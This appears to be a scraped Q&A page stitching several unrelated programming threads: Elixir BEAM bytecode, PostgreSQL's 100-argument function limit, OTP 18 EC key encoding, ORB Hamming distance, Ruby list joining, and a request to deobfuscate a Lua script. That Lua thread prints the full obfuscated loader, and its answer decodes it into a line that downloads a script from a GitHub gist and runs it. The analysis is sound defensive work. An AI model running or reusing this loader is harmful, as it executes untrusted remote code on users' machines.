Elixir: what is the binary printed in the repl after module definition? - binary-data

I wrote a simple module in the repl:
iex(26)> defmodule Adder do
...(26)> def add(a \\ 0, b \\ 0) do
...(26)> a+b
...(26)> end
...(26)> end
{:module, Adder,
<<70, 79, 82, 49, 0, 0, 4, 224, 66, 69, 65, 77, 65, 116, 111, 109, 0, 0, 0, 106, 0, 0, 0, 12, 12, 69, 108, 105, 120, 105, 114, 46, 65, 100, 100, 101, 114, 8, 95, 95, 105, 110, 102, 111, 95, 95, 4, 100, 111, 99, ...>>,
{:add, 2}}
What is the binary printed out after the module definition?


That's the BEAM bytecode output as a raw binary. It's used by the compiler to persist the compiled module to a Elixir.Adder.beam file when compiling via mix. Modules defined in iex aren't ever persisted to disk, but you can think of it as confirmation that your module was successfully compiled in memory.

Related

How to decrypt a LuaT script

How can I decrypt this new Lua encryption method?
key=[[BREW STORE]];dmnpxzbtpptkabbbstzuaaiyxqbgfszjdhxuxcztvmrghjbawfatwzqandrzrfqlragsyqggkpbvtqktxbckpewunqnfosobaogiitkfsbzuihgljnzslgtmjmgkdasx='om jangan decrypt aku :((';awzmplriqloyociafdhovyenmbcbhqmyegwedddczphgbvubquftewkdqtypcsxmsxihkcwajhqqwidoleeudnahsscjbmlkaocozlvxsbnjbyphljxkcavllyevkhii='Obfuscator Ini Milik ZiGB';jknofzqxfwhpgpwunwnntdqilsqedpbwajyxnzgqchnbspvvehqoyvqdsavrovwklpgfbzpyiorpggadtdjbworigkbdnkbsspfsobalqavigtcfwehcreyeftezpkdi='Kamu Nyari Load?';rzoekzjkzzarhiovruxttaybxqpnhiobpvhbcywmhqlcfoltkbktsjwkldwgobariqrhmimxrmmlbrwhpvurflbcgjonrjvfuappyjeqpmdjghdviciyqkrfpnburddu='Saya Tak Ragu Ingin Nembak Gay People';yazmbcaksoywojorasrbfjqppsgyjdqlzwulsjbfyjxnvxebwmmdxqwkqmhepswuioueybvygkqgijdkrfwmlswajeadgafqggjcdafxxqfgvcmcuennmaesreozhlbn="Soeharto is first indonesian president. Jokowi is seventh indonesian's president, Itadori Yuuji is one of main character in Jujutsu Kaisen Anime, Kento Nanami is Side Character On Jujutsu Kaisen Anime. Lava is 1 of the most dangerous liquid in the world (cap)";mfemjepnyenbjvuehqaxgpvdwqntjmfvsueerksbcticjjnhrqrrsualwlqeshnxqocmqhekxdgtecdogxyasfyapewprxfgmcmvwiedejihvdfujvprttydsulkhnju={ 1,160,3,187,236,277,257,244,160,185,307,173,170,186,170,164,168,168,280,246,160,160,160,160,160,160,160,160,160,160,160,200,279,224,161,392,224,227,218,252,260,265,275,259,271,274,260,205,258,271,276,205,268,277,257,205,271,258,262,277,275,259,257,276,271,274,252,260,265,275,259,271,274,260,205,258,271,276,205,268,277,257,205,271,258,262,277,275,259,257,276,271,274,252,260,265,275,259,271,274,260,205,258,271,276,205,268,277,257,205,271,258,262,277,275,259,257,276,271,274,252,271,258,262,277,275,259,257,276,261,260,252,261,270,259,206,268,277,257,293,296,160,160,215,161,337,171,160,160,160,299,160,160,161,171,161,160,162,174,161,162,163,299,161,160,164,302,161,163,165,179,162,160,320,242,160,160,160,289,290,213,288,161,163,215,288,289,163,208,288,161,292,209,288,289,292,179,288,161,293,216,288,289,165,210,288,161,166,216,288,289,166,218,288,161,167,210,288,289,167,217,288,161,296,217,288,289,296,175,288,161,297,179,288,289,297,176,288,161,170,195,288,289,170,194,288,161,299,201,288,289,299,176,288,161,300,181,288,289,300,175,288,161,301,176,288,289,301,211,288,161,302,217,288,289,302,217,288,161,303,215,288,289,175,217,288,161,304,188,288,289,176,183,288,161,177,183,288,289,177,211,288,161,178,212,288,289,178,217,288,161,307,217,288,289,307,182,288,161,180,211,288,289,180,212,288,161,309,217,288,289,309,211,288,161,182,218,288,289,310,208,288,161,183,218,288,289,183,217,288,161,184,210,288,289,312,216,288,161,185,209,288,289,185,215,288,161,314,214,288,289,314,217,288,161,187,210,288,238,162,210,160,289,290,214,288,161,291,217,288,289,291,182,288,161,164,209,288,289,164,215,288,161,165,214,288,289,165,183,288,161,294,208,288,289,294,216,288,161,167,210,288,289,167,219,288,161,296,209,288,289,168,210,288,161,297,216,288,289,169,217,288,161,170,183,288,289,170,210,288,161,171,188,288,289,171,209,288,161,300,186,288,289,172,208,288,161,301,209,288,289,301,187,288,161,302,186,288,289,174,208,288,161,303,209,288,289,175,184,288,161,304,185,288,289,304,187,288,161,177,208,288,289,177,185,288,161,306,208,288,289,178,210,288,161,307,186,288,289,179,188,288,161,180,208,288,289,180,208,288,161,309,208,288,289,181,184,288,161,310,210,288,289,182,185,288,161,311,209,288,289,183,186,288,161,184,210,288,289,184,208,288,161,185,210,288,289,185,209,288,161,186,188,288,289,186,183,288,161,315,216,288,238,162,210,210,289,162,208,288,161,163,219,288,289,163,183,288,161,164,210,288,289,292,184,288,161,293,183,288,289,165,184,288,161,294,185,288,289,294,187,288,161,295,186,288,289,295,187,288,161,168,187,288,289,168,186,288,161,169,185,288,289,297,185,288,161,170,186,288,289,298,209,288,161,171,185,288,289,299,185,288,161,172,186,288,289,300,186,288,161,301,185,288,289,301,184,288,161,302,210,288,289,174,185,288,161,303,185,288,289,175,186,288,161,304,209,288,289,176,187,288,161,305,184,288,289,177,209,288,161,306,210,288,289,306,184,288,161,307,185,288,289,307,185,288,161,308,187,288,289,308,183,288,161,309,184,288,289,181,188,288,161,310,185,288,289,182,187,288,161,311,184,288,289,183,185,288,161,184,183,288,289,312,193,288,161,313,194,288,289,313,208,288,161,314,216,288,289,186,210,288,161,187,219,288,238,162,210,260,289,290,182,288,161,291,213,288,289,163,218,288,161,164,208,288,289,292,176,288,161,165,180,288,289,165,180,288,161,294,175,288,289,294,179,288,161,167,180,288,238,162,170,310,356,161,162,160,228,161,160,160,356,160,160,160,228,160,160,161,231,160,161,160,294,164,294,272,259,257,268,268,164,293,268,271,257,260,164,295,275,276,274,265,270,263,164,293,259,264,257,274,164,294,276,257,258,268,261,164,295,277,270,272,257,259,267,289,160,160,160,288,161,337,162,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,288,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,161,289,409,295,288,289,293,255,229,238,246};local nau = 'load'; function krcqzqcsngsbnxfkqsexgiuiqovaprtpzaheaskjzihhbncooqhmmlelpomnwnisnezltuxbtjyxjyoxizmjsgskspqfmzbtiyhiycxvrhgocdbhopcpekzxeyhjezko(...) local nixjoqhhjhbsuoohwhndfbuhzocmgjsmsswezvusnsdjzduytllzolcmlazofnocmrgusjvxitzeahishdtuqxmrfktidtfgezalcbmmfqgjniyqfmgbifvcntkhkzpm='';for hjkvtiyybvwvdxzbaltomtvihqfwcgxqjzsjowtthjlvqhgusuqokkipovcdptyjrhqynclxozdzicxtieoetduxrjtelnxpwpipzwduyoiyikjaxiyltvhxkotryzdb=1, #mfemjepnyenbjvuehqaxgpvdwqntjmfvsueerksbcticjjnhrqrrsualwlqeshnxqocmqhekxdgtecdogxyasfyapewprxfgmcmvwiedejihvdfujvprttydsulkhnju do if hjkvtiyybvwvdxzbaltomtvihqfwcgxqjzsjowtthjlvqhgusuqokkipovcdptyjrhqynclxozdzicxtieoetduxrjtelnxpwpipzwduyoiyikjaxiyltvhxkotryzdb>3 then nixjoqhhjhbsuoohwhndfbuhzocmgjsmsswezvusnsdjzduytllzolcmlazofnocmrgusjvxitzeahishdtuqxmrfktidtfgezalcbmmfqgjniyqfmgbifvcntkhkzpm=nixjoqhhjhbsuoohwhndfbuhzocmgjsmsswezvusnsdjzduytllzolcmlazofnocmrgusjvxitzeahishdtuqxmrfktidtfgezalcbmmfqgjniyqfmgbifvcntkhkzpm.._ENV['\115\116\114\105\110\103']['\99\104\97\114']((mfemjepnyenbjvuehqaxgpvdwqntjmfvsueerksbcticjjnhrqrrsualwlqeshnxqocmqhekxdgtecdogxyasfyapewprxfgmcmvwiedejihvdfujvprttydsulkhnju[hjkvtiyybvwvdxzbaltomtvihqfwcgxqjzsjowtthjlvqhgusuqokkipovcdptyjrhqynclxozdzicxtieoetduxrjtelnxpwpipzwduyoiyikjaxiyltvhxkotryzdb]-mfemjepnyenbjvuehqaxgpvdwqntjmfvsueerksbcticjjnhrqrrsualwlqeshnxqocmqhekxdgtecdogxyasfyapewprxfgmcmvwiedejihvdfujvprttydsulkhnju[2]));end end;local tolan = 'loadstring';_ENV[_ENV['\115\116\114\105\110\103']['\99\104\97\114'](awzmplriqloyociafdhovyenmbcbhqmyegwedddczphgbvubquftewkdqtypcsxmsxihkcwajhqqwidoleeudnahsscjbmlkaocozlvxsbnjbyphljxkcavllyevkhii:lower():sub(18,18):byte(),dmnpxzbtpptkabbbstzuaaiyxqbgfszjdhxuxcztvmrghjbawfatwzqandrzrfqlragsyqggkpbvtqktxbckpewunqnfosobaogiitkfsbzuihgljnzslgtmjmgkdasx:lower():sub(1,1):byte(),rzoekzjkzzarhiovruxttaybxqpnhiobpvhbcywmhqlcfoltkbktsjwkldwgobariqrhmimxrmmlbrwhpvurflbcgjonrjvfuappyjeqpmdjghdviciyqkrfpnburddu:lower():sub(-9,-9):byte(),yazmbcaksoywojorasrbfjqppsgyjdqlzwulsjbfyjxnvxebwmmdxqwkqmhepswuioueybvygkqgijdkrfwmlswajeadgafqggjcdafxxqfgvcmcuennmaesreozhlbn:lower():sub(21,21):byte())](nixjoqhhjhbsuoohwhndfbuhzocmgjsmsswezvusnsdjzduytllzolcmlazofnocmrgusjvxitzeahishdtuqxmrfktidtfgezalcbmmfqgjniyqfmgbifvcntkhkzpm)(); end;krcqzqcsngsbnxfkqsexgiuiqovaprtpzaheaskjzihhbncooqhmmlelpomnwnisnezltuxbtjyxjyoxizmjsgskspqfmzbtiyhiycxvrhgocdbhopcpekzxeyhjezko(mfemjepnyenbjvuehqaxgpvdwqntjmfvsueerksbcticjjnhrqrrsualwlqeshnxqocmqhekxdgtecdogxyasfyapewprxfgmcmvwiedejihvdfujvprttydsulkhnju);
I tried many methods. But I don't think I'm experienced enough. The result was negative.

Add proper linebreaks
Replace insane variable names with shorter ones
Unescape things like '\115\116\114\105\110\103' into 'string'
Keep going until you realize the thing that starts with _ENV[_ENV[ ends up becoming just load (by the way, nau and tolan are unused decoys)
Notice that it's a very simple decryption function that operates on the giant table of numbers and then loads the result
Modify the decryption function to print the result instead of loading it
Notice the result of doing so is Lua 5.4 bytecode
Run unluac on said bytecode
If you're following along, you'll have gotten this out of unluac (newlines elided for brevity):
pcall(load(string.char(table.unpack({ 108, 111, 97, 100, 40, 114, 101, 113, 117, 101, 115, 116, 32, 40, 34, 71, 69, 84, 34, 44, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 103, 105, 115, 116, 46, 103, 105, 116, 104, 117, 98, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 98, 114, 101, 119, 100, 101, 114, 115, 47, 101, 57, 99, 54, 97, 100, 56, 54, 97, 100, 49, 52, 56, 97, 51, 98, 101, 54, 57, 97, 97, 98, 49, 102, 51, 100, 53, 101, 97, 101, 99, 57, 47, 114, 97, 119, 47, 101, 50, 48, 49, 52, 56, 54, 56, 55, 53, 51, 52, 53, 100, 51, 52, 53, 54, 52, 50, 102, 51, 52, 53, 100, 55, 50, 99, 102, 50, 52, 52, 56, 48, 50, 57, 52, 55, 50, 51, 47, 68, 70, 98, 114, 101, 119, 46, 108, 117, 97, 34, 41, 41, 32, 40, 41}))))
Now reverse the string.char and table.unpack to see what it's really doing:
load(request ("GET", "https://gist.githubusercontent.com/brewders/e9c6ad86ad148a3be69aab1f3d5eaec9/raw/e201486875345d345642f345d72cf24480294723/DFbrew.lua")) ()
So https://gist.githubusercontent.com/brewders/e9c6ad86ad148a3be69aab1f3d5eaec9/raw/e201486875345d345642f345d72cf24480294723/DFbrew.lua (prettier at https://gist.github.com/brewders/e9c6ad86ad148a3be69aab1f3d5eaec9#file-dfbrew-lua) has what it's really doing, and it's finally not obfuscated at all. (The sha256 was 7de86710d2e66b6ef3b7e1a772d8d80c550b7a309925320e3296ffd333988e6d at the time of writing this answer; some archives/mirrors: 1 2 3 4)
And if you're wondering how this obfuscation happened, this string is present in the bytecode, which should give you a hint: C:\discord-bot-lua-obfuscator\discord-bot-lua-obfuscator\discord-bot-lua-obfuscator\obfuscated\enc.lua

Can't query for more than 100 IDs with PostgreSQL

I'm migrating from MySQL to PostgreSQL, but I'm getting the following error:
PG::TooManyArguments: ERROR: cannot pass more than 100 arguments to a function
when running queries like this:
Project.where(id: ids)
Which is translated to
"SELECT \"projects\".* FROM \"projects\" WHERE \"projects\".\"id\" IN (1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100) ORDER BY FIELD(projects.id, '1','2','3','4','5','6','7','8','9','10','11','12','13','14','15','16','17','18','19','20','21','22','23','24','25','26','27','28','29','30','31','32','33','34','35','36','37','38','39','40','41','42','43','44','45','46','47','48','49','50','51','52','53','54','55','56','57','58','59','60','61','62','63','64','65','66','67','68','69','70','71','72','73','74','75','76','77','78','79','80','81','82','83','84','85','86','87','88','89','90','91','92','93','94','95','96','97','98','99','100')"
For me it's a common use case to query by specific IDs and it worked pretty well with MySQL. Is there any way to make this work with PostgreSQL?
I'm using PostgreSQL 13.2 on a docker container.

According to the error you have, cause is the function not the query itself. you can pass 32K arguments to the query and it will work (2byte int limit). As for functions, postgres by default has 100 arg limit (set during compilation). you can try to compile from source and set that number to higher value (I dont recommend doing that, unless you really understand the consequences).
Best approach would be probably to look into how to replace FIELD() function that is executed and modify so that you don't run into the problem. Can you change your system so that you can use column in DB to sort by? That way you dont need to pass those IDs for sorting. Or, if you have to use IDs, what about using CASE for sorting, like in this SO question: Simulating MySQL's ORDER BY FIELD() in Postgresql

The only "fix" I could find was downgrading PostgreSQL docker image to 11.11 where this error does not happen.

Upgrade to OTP 18 breaks usage of public_key library

Building a pem file in Elixir requires several steps, including building an entity. In OTP 17, the following works:
{public, private} = :crypto.generate_key(:ecdh, :secp256k1)
ec_entity = {:ECPrivateKey,
1,
:binary.bin_to_list(private),
{:namedCurve, {1, 3, 132, 0, 10}},
{0, public}}
der_encoded = :public_key.der_encode(:ECPrivateKey, ec_entity)
pem = public_key.pem_encode([{:ECPrivateKey, der_encoded, :not_encrypted}])
But using OTP 18, the following error occurs:
{public, private} = :crypto.generate_key(:ecdh, :secp256k1)
ec_entity = {:ECPrivateKey,
1,
:binary.bin_to_list(private),
{:namedCurve, {1, 3, 132, 0, 10}},
{0, public}}
der_encoded = :public_key.der_encode(:ECPrivateKey, ec_entity)
** (MatchError) no match of right hand side value: {:error, {:asn1, :badarg}}
public_key.erl:253: :public_key.der_encode/2
What is the source of this error?

The source of the error is a change in the way that the public_key entity is constructed between OTP 17 and OTP 18. If we reverse the process, starting with a pem file, we can see the difference.
OTP 17:
iex(6)> pem = "-----BEGIN EC PRIVATE KEY-----\nMHQCAQEEIJniJF4vtTqE4wS5AkhmMZsHIbil0l3XfRButkw5IJYFoAcGBSuBBAAK\noUQDQgAEtxm+jijBB0JxZTceHnCHE0HpMXJp1ScVUZ5McvDUVsS/Dek8IdAsMOPz\nnnVALflZzXtH/wU9p2LrFdJeuXwL8g==\n-----END EC PRIVATE KEY-----\n\n"
"-----BEGIN EC PRIVATE KEY-----\nMHQCAQEEIJniJF4vtTqE4wS5AkhmMZsHIbil0l3XfRButkw5IJYFoAcGBSuBBAAK\noUQDQgAEtxm+jijBB0JxZTceHnCHE0HpMXJp1ScVUZ5McvDUVsS/Dek8IdAsMOPz\nnnVALflZzXtH/wU9p2LrFdJeuXwL8g==\n-----END EC PRIVATE KEY-----\n\n"
iex(7)> [{type, decoded, _}] = :public_key.pem_decode(pem)
[{:ECPrivateKey,
<<48, 116, 2, 1, 1, 4, 32, 153, 226, 36, 94, 47, 181, 58, 132, 227, 4, 185, 2, 72, 102, 49, 155, 7, 33, 184, 165, 210, 93, 215, 125, 16, 110, 182, 76, 57, 32, 150, 5, 160, 7, 6, 5, 43, 129, 4, 0, 10, ...>>,
:not_encrypted}]
iex(8)> :public_key.der_decode(type, decoded)
{:ECPrivateKey, 1,
[153, 226, 36, 94, 47, 181, 58, 132, 227, 4, 185, 2, 72, 102, 49, 155, 7, 33,
184, 165, 210, 93, 215, 125, 16, 110, 182, 76, 57, 32, 150, 5],
{:namedCurve, {1, 3, 132, 0, 10}},
{0,
<<4, 183, 25, 190, 142, 40, 193, 7, 66, 113, 101, 55, 30, 30, 112, 135, 19, 65, 233, 49, 114, 105, 213, 39, 21, 81, 158, 76, 114, 240, 212, 86, 196, 191, 13, 233, 60, 33, 208, 44, 48, 227, 243, 158, 117, ...>>}}
OTP 18:
iex(5)> [{type, decoded, _}] = :public_key.pem_decode(pem)
[{:ECPrivateKey,
<<48, 116, 2, 1, 1, 4, 32, 153, 226, 36, 94, 47, 181, 58, 132, 227, 4, 185, 2, 72, 102, 49, 155, 7, 33, 184, 165, 210, 93, 215, 125, 16, 110, 182, 76, 57, 32, 150, 5, 160, 7, 6, 5, 43, 129, 4, 0, 10, ...>>,
:not_encrypted}]
iex(6)> entity = :public_key.der_decode(type, decoded)
{:ECPrivateKey, 1,
<<153, 226, 36, 94, 47, 181, 58, 132, 227, 4, 185, 2, 72, 102, 49, 155, 7, 33, 184, 165, 210, 93, 215, 125, 16, 110, 182, 76, 57, 32, 150, 5>>,
{:namedCurve, {1, 3, 132, 0, 10}},
<<4, 183, 25, 190, 142, 40, 193, 7, 66, 113, 101, 55, 30, 30, 112, 135, 19, 65, 233, 49, 114, 105, 213, 39, 21, 81, 158, 76, 114, 240, 212, 86, 196, 191, 13, 233, 60, 33, 208, 44, 48, 227, 243, 158, 117, 64, ...>>}
The difference is in how the public and private keys are represented.
The signature of an ECPrivateKey Record is:
ECPrivateKey'{ version, privateKey, parameters, publicKey}
In Erlang 18, both values are represented at plain binaries, in 17, the private key is a list and the public key is part of a tuple, {0, binary}.
So in order to build the pem file correctly, the entity representation has to change.
{public, private} = :crypto.generate_key(:ecdh, :secp256k1)
entity = {:ECPrivateKey,
1,
private,
{:namedCurve, {1, 3, 132, 0, 10}},
public}
Using the new representation of the record will solve the problem.

I didn't really check why your version works on some versions, but I've got some code that works on all these erlang versions: 19.0, 18.2.1, 18.1, 18.0, 17.5, R16B03 (running on travis).
-include_lib("public_key/include/public_key.hrl").
genPEMKey() ->
CurveId = secp256k1,
{PubKey, PrivKey} = crypto:generate_key(ecdh, CurveId),
Key = #'ECPrivateKey'{version = 1,
privateKey = PrivKey,
parameters = {
namedCurve,
pubkey_cert_records:namedCurves(CurveId)},
publicKey = PubKey},
DERKey = public_key:der_encode('ECPrivateKey', Key),
public_key:pem_encode([{'ECPrivateKey', DERKey, not_encrypted}]).
This piece of code was based on the examples found in the OTP codebase:
https://github.com/erlang/otp/blob/master/lib/public_key/test/erl_make_certs.erl#L407

Finding hamming distance between ORB feature descriptors

I am trying to write a function to match ORB features. I am not using default matchers (bfmatcher, flann matcher) because i just want match speific features in image with features in other image.
I saw ORS descriptor its a binary array.
My query is how to match 2 features i.e how to find hamming distance between 2 descriptors ?
ORB descriptors:
descriptor1 =[34, 200, 96, 158, 75, 208, 158, 230, 151, 85, 192, 131, 40, 142, 54, 64, 75, 251, 147, 195, 78, 11, 62, 245, 49, 32, 154, 59, 21, 28, 52, 222]
descriptor2 =[128, 129, 2, 129, 196, 2, 168, 101, 60, 35, 83, 18, 12, 10, 104, 73, 122, 13, 2, 176, 114, 188, 1, 198, 12, 0, 154, 68, 5, 8, 177, 128]
Thanks.

ORB descriptors are just 32 byte uchar Mat's.
the bruteforce and flann matchers do some more work, than just comparing descriptors, but if that's all you want for now, it would be a straight norm:
Mat descriptor1, descriptor2;
double dist = norm( descriptor1, descriptor2, NORM_HAMMING);
// NORM_HAMMING2 or even NORM_L1 would make sense, too.
// dist is a double, but ofc. you'd only get integer values in this case.

How to make a list of a mapping of IDs

I have a long list of group_ids like so:
#group_ids = #groups.map(&:group_id)
Rails.logger.info #group_ids
[182, 122, 181, 173, 167, 58, 13, 11, 180, 40, 71, 1, 29, 47, 142, 52, 174, 7, 168, 171, 156, 120, 79, 72, 54, 26, 65]
How can I take all those group_ids and output:
group_id:11 OR group_id:22 etc

Just do:
#group_ids * " OR "
(Ruby is great)

#group_ids = [182, 122, 181, 173, 167, 58, 13, 11, 180, 40, 71, 1, 29, 47, 142, 52, 174, 7, 168, 171, 156, 120, 79, 72, 54, 26, 65]
#group_ids.map{|id| "group_id:#{id}"}.join(" OR ")
#=> "group_id:182 OR group_id:122 OR group_id:181 OR group_id:173 OR group_id:167 OR group_id:58 OR group_id:13 OR group_id:11 OR group_id:180 OR group_id:40 OR group_id:71 OR group_id:1 OR group_id:29 OR group_id:47 OR group_id:142 OR group_id:52 OR group_id:174 OR group_id:7 OR group_id:168 OR group_id:171 OR group_id:156 OR group_id:120 OR group_id:79 OR group_id:72 OR group_id:54 OR group_id:26 OR group_id:65"

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